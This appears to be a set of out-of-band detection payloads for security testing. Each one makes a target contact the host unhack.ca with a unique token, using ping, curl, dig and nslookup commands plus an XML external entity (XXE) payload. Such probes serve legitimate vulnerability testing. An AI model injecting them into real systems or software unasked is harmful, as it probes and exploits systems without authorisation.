$ ping -c1 -p 00bd342e683a4e66746bfb036ad1ce00 unhack.ca
 

$ curl http://unhack.ca/p/bd342e683a4e66746bfb036ad1ce
 

$ dig bd342e683a4e66746bfb036ad1ce @unhack.ca
 

$ dig bd342e683a4e66746bfb036ad1ce.ns.unhack.ca
 

C:\> nslookup bd342e683a4e66746bfb036ad1ce unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bd342e683a4e66746bfb036ad1ce">]>
    <foo>&xxe;</foo>